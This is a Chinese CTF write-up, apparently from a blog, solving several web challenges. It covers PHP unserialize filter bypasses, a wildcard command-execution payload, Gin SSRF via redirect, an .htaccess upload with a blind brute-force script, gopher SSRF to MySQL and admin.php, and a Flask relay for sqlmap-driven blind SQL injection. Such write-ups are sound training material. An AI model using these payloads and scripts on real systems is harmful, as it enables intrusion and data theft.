日常比赛被爆,感谢队里教我题的大师傅
存在一个.index.php.swp文件,vim -r 恢复一下
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
$this->logFile = $file;
readfile($this->logFile);
}
}
class weblog {
public $weblogfile = 'flag.txt';
function __construct() {
$obj = new logger($this->weblogfile);
}
}
$a = new weblog();
echo (serialize($a));
?>
让$weblogfile为/flag就可以读取flag文件
对flag进行了替换,但是就替换了一次,直接双写过
?log=O:6:"weblog":1:{s:10:"weblogfile";s:8:"flaflagg.txt";}
也可以用16进制
?log=O:6:"weblog":1:{s:10:"weblogfile";S:5:"\2f\66\6c\61\67";}
本地打通去题目
原题:https://blog.csdn.net/qq_46091464/article/details/108513145
构造poc执行命令
?code=?>=`.%20/???/????????[?-[];
相当于写文件,并且在上传文件中添加一条sh命令,直接拿flag即可,容器问题需要多发几次包
Golang的审计(新的知识增加了!)
题目给出了源码,存在一个index.php,并且说php端口是80,可以读文件,所以我们的思路是SSRF
去审go了呜呜呜(golang文档yyds)…大胆猜一下功能
搜了一下文档,有个叫全局中间件的东西…官方文档给出的解释是,所有请求都经过这个中间件,使用方法如下
回到源码
gin…直接搜一下搜到gin框架,直接去文档看一手
Gin框架从入门到入土
先看中间件fileMidderware
第56行中可以看到,url不是/结尾的时候会跳到302界面,并且在后面拼接一个/
但是好像没啥用…
继续看下一个vulcontroller
可以看到,绑定了json,key值是url,并且开头必须是http://127.0.0.1:1234,否则直接return送你回家
http://127.0.0.1:1234//www.baidu.com/..
c.Request.URL处理的时候不会把后面http://www.baidu.com的部分当成目录,js同理
在vps上写一个跳转到题目的index.php
header("Location:http://127.0.0.1/index.php?file=/flag");
?>
附件给出了Apache的配置
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
传htaccess
SetHandler application/x-httpd-php
php_flag engine on
Nu1L的wp中学到了更狠的姿势
官方文档:http://httpd.apache.org/docs/2.4/expr.html
ErrorDocument 404 "wupco"
匹配不到就返回404且有wupco这个字符串,直接脚本逐位爆破
import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
htaccess = '''
+a+'''/">
ErrorDocument 404 "wupco"
'''
resp = requests.post("http://122.112.248.222:20003/index.php?id=69660",data={
'submit': 'submit'}, files={
'file': ('.htaccess',htaccess)} )
a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
highlight_file(__FILE__);
session_start();
$url = $_GET['url'] ?? false;
if($url)
{
$a = preg_match("/file|dict/i", $url);
if ($a==1)
{
exit();
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
访问一下3306
是的开启的,题目没有过滤gopher,又开启了mysql,所以目前思路是通过gopher打mysql
参考:https://hetian.blog.csdn.net/article/details/109252839
本地创建一个curl用户
mysql> CREATE USER 'curl'@'localhost';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT ALL ON *.* TO 'curl'@'localhost';
Query OK, 0 rows affected (0.00 sec)
抄一手脚本:https://github.com/FoolMitAh/mysql_gopher_attack
python exploit.py -u curl -d information_schema -p "" -P "select user();" -v -c
gopher://127.0.0.1:3306/A9%00%00%00O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00curl%00%00information_schema%00%0E%00%00%00%03select%20user%28%29%00%00%00%00
编码一次
gopher://127.0.0.1:3306/A9%00%00%00O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00curl%00%00information_schema%00%0E%00%00%00%03select%20user%28%29%00%00%00%00
打不通…扫描后发现一个admin.php…
换思路,使用Gopher发送请求,我们在本地写个文件(这里的GET改成POST,懒得再截图了)
抓包抓一手请求头
POST /course/shell.php HTTP/1.1
Host: 8.141.49.228
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Connection: close
root=phpinfo();
借用一下文章中的编码脚本
import urllib
import requests
test=\
"""POST /course/shell.php HTTP/1.1
Host: 8.141.49.228
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Connection: close
root=phpinfo();
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
gopher://8.141.49.228:80/_POST%20/course/shell.php%20HTTP/1.1%0D%0AHost%3A%208.141.49.228%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%206.2%3B%20WOW64%3B%20rv%3A12.0%29%20Gecko/20100101%20Firefox/12.0%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-cn%2Czh%3Bq%3D0.8%2Cen-us%3Bq%3D0.5%2Cen%3Bq%3D0.3%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2015%0D%0AConnection%3A%20close%0D%0A%0D%0Aroot%3Dphpinfo%28%29%3B%0D%0A
执行一下
curl -L gopher://8.141.49.228:80/_POST%20/course/shell.php%20HTTP/1.1%0D%0AHost%3A%208.141.49.228%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%206.2%3B%20WOW64%3B%20rv%3A12.0%29%20Gecko/20100101%20Firefox/12.0%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-cn%2Czh%3Bq%3D0.8%2Cen-us%3Bq%3D0.5%2Cen%3Bq%3D0.3%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2015%0D%0AConnection%3A%20close%0D%0A%0D%0Aroot%3Dphpinfo%28%29%3B%0D%0A
把payload再url编码一次,放到本地web页面执行
然而题目里还是不行…在纵横杯被阴了一次,这次考虑一下是不是sql注入,没有回显的话应该是盲注
import urllib
import requests
test=\
"""POST /admin.php HTTP/1.1
Host: 121.36.147.29:20001
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: PHPSESSID=56kc25u2min9of3rup6d059ff2
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Connection: close
poc=1' and sleep(10)#
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
?url=gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20121.36.147.29%3A20001%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%206.2%3B%20WOW64%3B%20rv%3A12.0%29%20Gecko/20100101%20Firefox/12.0%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-cn%2Czh%3Bq%3D0.8%2Cen-us%3Bq%3D0.5%2Cen%3Bq%3D0.3%0D%0ACookie%3A%20PHPSESSID%3D56kc25u2min9of3rup6d059ff2%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%206%0D%0AConnection%3A%20close%0D%0A%0D%0Apoc%3D1%27%20and%20sleep%2810%29%23%0D%0A
?url=gopher%3A%2f%2f127.0.0.1%3A80%2f_POST%2520%2fadmin.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.147.29%253A20001%250D%250AUser-Agent%253A%2520Mozilla%2f5.0%2520%2528Windows%2520NT%25206.2%253B%2520WOW64%253B%2520rv%253A12.0%2529%2520Gecko%2f20100101%2520Firefox%2f12.0%250D%250AAccept%253A%2520text%2fhtml%252Capplication%2fxhtml%252Bxml%252Capplication%2fxml%253Bq%253D0.9%252C%252A%2f%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-cn%252Czh%253Bq%253D0.8%252Cen-us%253Bq%253D0.5%252Cen%253Bq%253D0.3%250D%250ACookie%253A%2520PHPSESSID%253D56kc25u2min9of3rup6d059ff2%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%25206%250D%250AConnection%253A%2520close%250D%250A%250D%250Apoc%253D1%2527%2520and%2520sleep%252810%2529%2523%250D%250A
但是…这样注入怕是猴年马月,又get一手新技能,先看文章
[SQL注入技巧]配合Python-Flask的中转注入
from flask import Flask,request
from urllib.parse import quote
import requests
def urlencode(s):
res=''
for c in s:
fuck=hex(ord(c)).split('0x')[1]
if len(fuck)==1:
fuck='0'+fuck
res+="%"+fuck
return res
fuckhtml='''POST /admin.php HTTP/1.1
Host: 121.36.147.29:20001
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: PHPSESSID=56kc25u2min9of3rup6d059ff2
Content-Type: application/x-www-form-urlencoded
Content-Length: {length}
Connection: close
poc={username}'''.replace("\n","\r\n")
tmpPayload= fuckhtml.split("\r\n")[-1]
tmplength = len(tmpPayload) - len('{username}')
url="http://121.36.147.29:20001/?url=gopher%3A%2F%2F127.0.0.1:80%2F_"
app = Flask(__name__)
@app.route('/')
def hello_world():
username=request.args.get('username')
shit=fuckhtml.format(username=username,length=str(tmplength+len(username)))
cookies={
'PHPSESSID':'qitbcj1puicm4qcpf8oe1fgc17'}
page=requests.get(url+urlencode(urlencode(shit)),proxies={
'http':'http://127.0.0.1:8081'},cookies=cookies).text
return page
if __name__ == '__main__':
app.run(host='0.0.0.0')
然后就是快乐的sqlmap一把梭